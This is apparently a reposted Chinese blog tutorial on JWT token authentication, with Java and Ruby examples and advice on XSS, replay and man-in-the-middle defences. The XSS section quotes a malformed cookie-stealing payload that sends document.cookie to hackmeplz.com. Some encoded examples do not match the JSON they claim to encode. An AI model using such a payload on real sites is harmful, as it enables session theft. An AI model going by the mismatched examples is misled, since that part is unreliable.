• 豌豆资源网
  • 开引网企业服务
  • 服务外包网
  • 基于JWT的Token认证机制实现及安全问题

    jsON Web Token(JWT)是一个非常轻巧的规范。这个规范允许我们使用JWT在用户和服务器之间传递安全可靠的信息。其JWT的组成:

    一个JWT实际上就是一个字符串,它由三部分组成,头部、载荷与签名。


    载荷(Payload)

    { "iss": "Online JWT Builder", 
      "iat": 1416797419, 
      "exp": 1448333419, 
      "aud": "www.example.com", 
      "sub": "jrocket@example.com", 
      "GivenName": "Johnny", 
      "Surname": "Rocket", 
      "Email": "jrocket@example.com", 
      "Role": [ "Manager", "Project Administrator" ] 
    }
    

      

    • iss: 该JWT的签发者,是否使用是可选的;
    • sub: 该JWT所面向的用户,是否使用是可选的;
    • aud: 接收该JWT的一方,是否使用是可选的;
    • exp(expires): 什么时候过期,这里是一个Unix时间戳,是否使用是可选的;
    • iat(issued at): 在什么时候签发的(UNIX时间),是否使用是可选的;
      其他还有:
    • nbf (Not Before):如果当前时间在nbf里的时间之前,则Token不被接受;一般都会留一些余地,比如几分钟;,是否使用是可选的;

    将上面的jsON对象进行[base64编码]可以得到下面的字符串。这个字符串我们将它称作JWT的Payload(载荷)。

    eyJpc3MiOiJKb2huIFd1IEpXVCIsImlhdCI6MTQ0MTU5MzUwMiwiZXhwIjoxNDQxNTk0NzIyLCJhdWQiOiJ3d3cuZXhhbXBsZS5jb20iLCJzdWIiOiJqcm9ja2V0QGV4YW1wbGUuY29tIiwiZnJvbV91c2VyIjoiQiIsInRhcmdldF91c2VyIjoiQSJ9

    小知识:Base64是一种基于64个可打印字符来表示二进制数据的表示方法。由于2的6次方等于64,所以每6个比特为一个单元,对应某个可打印字符。三个字节有24个比特,对应于4个Base64单元,即3个字节需要用4个可打印字符来表示。JDK 中提供了非常方便的 BASE64Encoder 和 BASE64Decoder,用它们可以非常方便的完成基于 BASE64 的编码和解码

     

    头部(Header)
    JWT还需要一个头部,头部用于描述关于该JWT的最基本的信息,例如其类型以及签名所用的算法等。这也可以被表示成一个jsON对象。

    {
    "typ": "JWT",
    "alg": "HS256"
    }

    在头部指明了签名算法是HS256算法。
    当然头部也要进行BASE64编码,编码后的字符串如下:

    eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9

     

    签名(Signature)
    将上面的两个编码后的字符串都用句号.连接在一起(头部在前),就形成了:

    eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0

    最后,我们将上面拼接完的字符串用HS256算法进行加密。在加密的时候,我们还需要提供一个密钥(secret)。如果我们用mystar作为密钥的话,那么就可以得到我们加密后的内容:

    rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM

    最后将这一部分签名也拼接在被签名的字符串后面,我们就得到了完整的JWT:

    eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM

    在我们的请求URL中会带上这串JWT字符串:

    https://your.awesome-app.com/make-friend/?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM

     

    认证过程

    下面我们从一个实例来看如何运用JWT机制实现认证:

    登录

    • 第一次认证:第一次登录,用户从浏览器输入用户名/密码,提交后到服务器的登录处理的Action层(Login Action);
    • Login Action调用认证服务进行用户名密码认证,如果认证通过,Login Action层调用用户信息服务获取用户信息(包括完整的用户信息及对应权限信息);
    • 返回用户信息后,Login Action从配置文件中获取Token签名生成的秘钥信息,进行Token的生成;
    • 生成Token的过程中可以调用第三方的JWT Lib生成签名后的JWT数据;
    • 完成JWT数据签名后,将其设置到COOKIE对象中,并重定向到首页,完成登录过程;

    请求认证

    基于Token的认证机制会在每一次请求中都带上完成签名的Token信息,这个Token信息可能在COOKIE
    中,也可能在HTTP的Authorization头中;

    • 客户端(APP客户端或浏览器)通过GET或POST请求访问资源(页面或调用API);
    • 认证服务作为一个Middleware HOOK 对请求进行拦截,首先在cookie中查找Token信息,如果没有找到,则在HTTP Authorization Head中查找;
    • 如果找到Token信息,则根据配置文件中的签名加密秘钥,调用JWT Lib对Token信息进行解密和解码;
    • 完成解码并验证签名通过后,对Token中的exp、nbf、aud等信息进行验证;
    • 全部通过后,根据获取的用户的角色权限信息,进行对请求的资源的权限逻辑判断;
    • 如果权限逻辑判断通过则通过Response对象返回;否则则返回HTTP 401;

    对Token认证的五点认识

    对Token认证机制有5点直接注意的地方:

    • 一个Token就是一些信息的集合;
    • 在Token中包含足够多的信息,以便在后续请求中减少查询数据库的几率;
    • 服务端需要对cookie和HTTP Authrorization Header进行Token信息的检查;
    • 基于上一点,你可以用一套token认证代码来面对浏览器类客户端和非浏览器类客户端;
    • 因为token是被签名的,所以我们可以认为一个可以解码认证通过的token是由我们系统发放的,其中带的信息是合法有效的;

     

    如何使用JWT 

    在身份鉴定的实现中,传统方法是在服务端存储一个session,给客户端返回一个cookie,而使用JWT之后,当用户使用它的认证信息登陆系统之后,会返回给用户一个JWT,用户只需要本地保存该token(通常使用local storage,也可以使用cookie)即可。 

    当用户希望访问一个受保护的路由或者资源的时候,通常应该在Authorization头部使用Bearer模式添加JWT,其内容看起来是下面这样:

    Authorization: Bearer <token>
    

      

    因为用户的状态在服务端的内存中是不存储的,所以这是一种无状态的认证机制。服务端的保护路由将会检查请求头Authorization中的JWT信息,如果合法,则允许用户的行为。由于JWT是自包含的,因此减少了需要查询数据库的需要。 

    JWT的这些特性使得我们可以完全依赖其无状态的特性提供数据API服务,甚至是创建一个下载流服务。因为JWT并不使用Cookie的,所以你可以使用任何域名提供你的API服务而不需要担心跨域资源共享问题(CORS)。

     

    JWT的JAVA实现

    Java中对JWT的支持可以考虑使用JJWT开源库;JJWT实现了JWT, JWS, JWE 和 JWA RFC规范;下面将简单举例说明其使用:
    生成Token码

    import javax.crypto.spec.SecretKeySpec;
    import javax.xml.bind.DatatypeConverter;
    import java.security.Key;
    import io.jsonwebtoken.*;
    import java.util.Date;    
     
    //Sample method to construct a JWT
     
    private String createJWT(String id, String issuer, String subject, long ttlMillis) {
     
    //The JWT signature algorithm we will be using to sign the token
    SignatureAlgorithm signatureAlgorithm = SignatureAlgorithm.HS256;
     
    long nowMillis = System.currentTimeMillis();
    Date now = new Date(nowMillis);
     
    //We will sign our JWT with our ApiKey secret
    byte[] apiKeySecretBytes = DatatypeConverter.parseBase64Binary(apiKey.getSecret());
    Key signingKey = new SecretKeySpec(apiKeySecretBytes, signatureAlgorithm.getJcaName());
     
      //Let's set the JWT Claims
    JwtBuilder builder = Jwts.builder().setId(id)
                                    .setIssuedAt(now)
                                    .setSubject(subject)
                                    .setIssuer(issuer)
                                    .signWith(signatureAlgorithm, signingKey);
     
    //if it has been specified, let's add the expiration
    if (ttlMillis >= 0) {
        long expMillis = nowMillis + ttlMillis;
        Date exp = new Date(expMillis);
        builder.setExpiration(exp);
    }
     
    //Builds the JWT and serializes it to a compact, URL-safe string
    return builder.compact();
    }
    

      

    解码和验证Token码

    import javax.xml.bind.DatatypeConverter;
    import io.jsonwebtoken.Jwts;
    import io.jsonwebtoken.Claims;
     
    //Sample method to validate and read the JWT
    private void parseJWT(String jwt) {
    //This line will throw an exception if it is not a signed JWS (as expected)
    Claims claims = Jwts.parser()        
       .setSigningKey(DatatypeConverter.parseBase64Binary(apiKey.getSecret()))
       .parseClaimsJws(jwt).getBody();
    System.out.println("ID: " + claims.getId());
    System.out.println("Subject: " + claims.getSubject());
    System.out.println("Issuer: " + claims.getIssuer());
    System.out.println("Expiration: " + claims.getExpiration());
    }
    

      

     

    基于JWT的Token认证的安全问题

    确保验证过程的安全性

    如何保证用户名/密码验证过程的安全性;因为在验证过程中,需要用户输入用户名和密码,在这一过程中,用户名、密码等敏感信息需要在网络中传输。因此,在这个过程中建议采用HTTPS,通过SSL加密传输,以确保通道的安全性。

     

    如何防范XSS Attacks

    浏览器可以做很多事情,这也给浏览器端的安全带来很多隐患,最常见的如:XSS攻击:跨站脚本攻击(Cross Site Scripting);如果有个页面的输入框中允许输入任何信息,且没有做防范措施,如果我们输入下面这段代码:

    <img src="x" /> a.src='https://hackmeplz.com/yourCookies.png/?cookies=’
    +document.cookie;return a}())"
    

      

    这段代码会盗取你域中的所有cookie信息,并发送到 hackmeplz.com;那么我们如何来防范这种攻击呢?

    • XSS攻击代码过滤
      移除任何会导致浏览器做非预期执行的代码,这个可以采用一些库来实现(如:js下的js-xss,JAVA下的XSS htmlFilter,php下的TWIG);如果你是将用户提交的字符串存储到数据库的话(也针对SQL注入攻击),你需要在前端和服务端分别做过滤;
    • 采用HTTP-Only Cookies
      通过设置Cookie的参数: HttpOnly; Secure 来防止通过JavaScript 来访问Cookie;
      如何在Java中设置cookie是HttpOnly呢?
      Servlet 2.5 API 不支持 cookie设置HttpOnly
      http://docs.oracle.com/cd/E17802_01/products/products/servlet/2.5/docs/servlet-2_5-mr2/
      建议升级Tomcat7.0,它已经实现了Servlet3.0
      http://tomcat.apache.org/tomcat-7.0-doc/servletapi/javax/servlet/http/Cookie.html
      或者通过这样来设置:
    //设置cookie
    response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");
    
    //设置多个cookie
    response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");
    response.addHeader("Set-Cookie", "timeout=30; Path=/test; HttpOnly");
    
    //设置https的cookie
    response.addHeader("Set-Cookie", "uid=112; Path=/; Secure; HttpOnly");
    

      

    在实际使用中,我们可以使FireCookie查看我们设置的Cookie 是否是HttpOnly;

    字由https://www.wode007.com/sites/73248.html 中国字体设计网https://www.wode007.com/sites/73245.html

    如何防范Replay Attacks

    所谓重放攻击就是攻击者发送一个目的主机已接收过的包,来达到欺骗系统的目的,主要用于身份认证过程。比如在浏览器端通过用户名/密码验证获得签名的Token被木马窃取。即使用户登出了系统,黑客还是可以利用窃取的Token模拟正常请求,而服务器端对此完全不知道,以为JWT机制是无状态的。
    针对这种情况,有几种常用做法可以用作参考:
    1、时间戳 +共享秘钥
    这种方案,客户端和服务端都需要知道:

    • User ID
    • 共享秘钥

    客户端

    auth_header = JWT.encode({
      user_id: 123,
      iat: Time.now.to_i,      # 指定token发布时间
      exp: Time.now.to_i + 2   # 指定token过期时间为2秒后,2秒时间足够一次HTTP请求,同时在一定程度确保上一次token过期,减少replay attack的概率;
    }, "<my shared secret>")
    RestClient.get("http://api.example.com/", authorization: auth_header)
    

      

    服务端

    class ApiController < ActionController::Base
      attr_reader :current_user
      before_action :set_current_user_from_jwt_token
    
      def set_current_user_from_jwt_token
        # Step 1:解码JWT,并获取User ID,这个时候不对Token签名进行检查
        # the signature. Note JWT tokens are *not* encrypted, but signed.
        payload = JWT.decode(request.authorization, nil, false)
    
        # Step 2: 检查该用户是否存在于数据库
        @current_user = User.find(payload['user_id'])
        
        # Step 3: 检查Token签名是否正确.
        JWT.decode(request.authorization, current_user.api_secret)
        
        # Step 4: 检查 "iat" 和"exp" 以确保这个Token是在2秒内创建的.
        now = Time.now.to_i
        if payload['iat'] > now || payload['exp'] < now
          # 如果过期则返回401
        end
      rescue JWT::DecodeError
        # 返回 401
      end
    end
    

      

    2、时间戳 +共享秘钥+黑名单 (类似Zendesk的做法)
    客户端

    auth_header = JWT.encode({
      user_id: 123,
      jti: rand(2 << 64).to_s,  # 通过jti确保一个token只使用一次,防止replace attack
      iat: Time.now.to_i,       # 指定token发布时间.
      exp: Time.now.to_i + 2    # 指定token过期时间为2秒后
    }, "<my shared secret>")
    RestClient.get("http://api.example.com/", authorization: auth_header)
    

      

    服务端

    def set_current_user_from_jwt_token
      # 前面的步骤参考上面
      payload = JWT.decode(request.authorization, nil, false)
      @current_user = User.find(payload['user_id'])
      JWT.decode(request.authorization, current_user.api_secret)
      now = Time.now.to_i
      if payload['iat'] > now || payload['exp'] < now
        # 返回401
      end
      
      # 下面将检查确保这个JWT之前没有被使用过
      # 使用Redis的原子操作
      
      # The redis 的键: <user id>:<one-time use token>
      key = "#{payload['user_id']}:#{payload['jti']}"
      
      # 看键值是否在redis中已经存在. 如果不存在则返回nil. 如果存在则返回“1”. .
      if redis.getset(key, "1")
        # 返回401
        # 
      end
      
      # 进行键值过期检查
      redis.expireat(key, payload['exp'] + 2)
    end
    

      

     

    如何防范MITM (Man-In-The-Middle)Attacks

    所谓MITM攻击,就是在客户端和服务器端的交互过程被监听,比如像可以上网的咖啡馆的WIFI被监听或者被黑的代理服务器等;
    针对这类攻击的办法使用HTTPS,包括针对分布式应用,在服务间传输像cookie这类敏感信息时也采用HTTPS;所以云计算在本质上是不安全的。

    posted @ 2020-07-17 18:15  前端一点红  阅读(4854)  评论(0编辑  收藏  举报
  • 乐游资源网
  • 热爱资源网
  • 灵活用工代发薪平台
  • 企服知识
  • 355软件知识